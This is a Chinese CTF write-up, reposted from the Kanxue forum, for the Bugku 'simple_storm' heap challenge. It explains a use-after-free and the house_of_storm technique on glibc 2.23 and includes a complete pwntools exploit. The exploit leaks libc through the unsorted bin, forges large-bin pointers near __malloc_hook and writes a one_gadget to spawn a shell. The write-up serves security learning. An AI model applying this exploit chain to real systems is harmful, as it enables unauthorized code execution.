一題house_of_storm的簡單利用

本文為看雪論壇優秀文章
看雪論壇作者ID:git_91357jnabnsn
第一次寫wp,理論知識不太牢靠,求大佬輕噴(理論可以看看我的參考鏈接)。
切記ASLR功能一定要開!
題目來自bugku[https://ctf.bugku.com/challenges/detail/id/323.html]
首先使用checksce檢查elf的保護

發現保護基本上全開了(堆題的常規操作)
使用IDA64查看ELF的功能,查看主要功能
main函數

使用mallopt(1, 0)關閉了fastbin,其余就是正常的菜單選擇以及緩沖區設置。第一個puts提示了這題是house_of_storm。
menue函數
普通的菜單輸出,就不上圖了。
add函數

正常的堆分配,堆大小由用戶輸入,但是限制大小在0-0x410。并將堆大小存儲在ptr_size數組之中。
delete函數

該題漏洞點所在,free之后未置零,存在UAF漏洞。
edit函數

堆塊編輯功能,這里的大小從ptr_size數組中獲取,用戶無法控制,且不存在one-by-null漏洞。
show函數

這題存在show函數,可以打印堆塊內容,可以結合UAF漏洞,泄露出libc地址。
編寫exp
首先老套路,根據IDA寫出相應的功能代碼,準備好環境。
from pwn import * p = process("./simple_storm")""" p = remote("114.67.246.176",10901) """elf = ELF("./simple_storm")libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6") pid = proc.pidof(p)context.log_level = "debug" def add(size): p.sendlineafter("Your choice?", str(1)) p.sendlineafter("Size?", str(size)) def delete(idx): p.sendlineafter("Your choice?", str(2)) p.sendlineafter("Index?", str(idx)) def edit(idx, content): p.sendlineafter("Your choice?", str(3)) p.sendlineafter("Index?", str(idx)) p.sendlineafter("Content?", content) def show(idx): p.sendlineafter("Your choice?", str(4)) p.sendlineafter("Index?", str(idx)) def exit(): p.sendlineafter("Your choice?", str(5))
現在,我們先創建0x410和0x400大小的兩個堆,然后在它們的后面各自插入一個任意大小的堆,防止被合并。先釋放小的堆,再釋放大的堆。(這是為了不滿足(unsigned long) (size) < (unsigned long) (bck->bk->size)這個條件,從而進入else的區塊。)
第九行的代碼,是為了使得原來的chunk2進入large bin中,第十行的代碼為了將新申請的0x410大小的堆塊進入unsorted bin。由于存在UAF漏洞,所以我們可以直接show(4)查看main_arena+88的地址(詳見unsorted_bin leak)。然后構造我們想要獲取的堆塊的地址。
add(0x410)#0add(0x10)#1 防止合并add(0x400)#2add(0x10)#3 防止合并 delete(2)delete(0) add(0x410)#4delete(4) offset = 0x3c4b78show(4)main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) libc_base = main_arena - offsetprint ("libc_base is :",hex(libc_base)) malloc_hook = libc.symbols["__malloc_hook"]+libc_baseprint ("malloc_hook is :",hex(malloc_hook)) fake_chunk = malloc_hook - 0x30print ("fake_chunk is :",hex(fake_chunk))
使用UAF漏洞,構造unsorted_bin中的堆塊寫入我們想要申請到地址。然后構造large_bin中的bk以及bk_nextsize的值。bk_nextsize最后會成為我們fake_chunk的size,一般為0x55或者0x56。(再次提醒,一定要開aslr,而且等級2。不然的話堆地址不隨機,永遠0x55,一輩子都成功不了。)
接著的malloc(0x48),即會觸發house_of_storm漏洞,在fake_chunk寫入size,又會申請到該chunk。最后通過將one_gadget寫入malloc_hook的地址,通過一次malloc即可獲得shell。
edit(0,p64(0) + p64(fake_chunk))edit(2,p64(0) + p64(fake_chunk+ 8) + p64(0) + p64(fake_chunk - 0x18 - 5)) add(0x48)#5edit(5,(p64(0) * 4) + p64(libc_base + 0x4527a)) add(0x10)p.interactive()
寫在最后
這題的libc為2.23最后打成功的libc版本在我的exp中有。這算第一次不依靠WP做出的堆題,紀念一下。同時提醒自己記住PIE與aslr的關系,錯失一血。
這題需要一點運氣,需要fake_chunk的size為0x56才能成功。大佬們說是因為
assert (!victim || chunk_is_mmapped (mem2chunk (victim))||ar_ptr == arena_for_chunk (mem2chunk (victim)));
的原因。我沒看過源碼,不太清楚。但是我使用gdb發現,如果0x55的話,會進行and rax 0xfffffc000000的操作,并且再取rax中的值。rax原本為你所申請的堆塊地址,經過該操作后,后6位為0,地址空間中沒有該地址,所以最后會報段錯誤。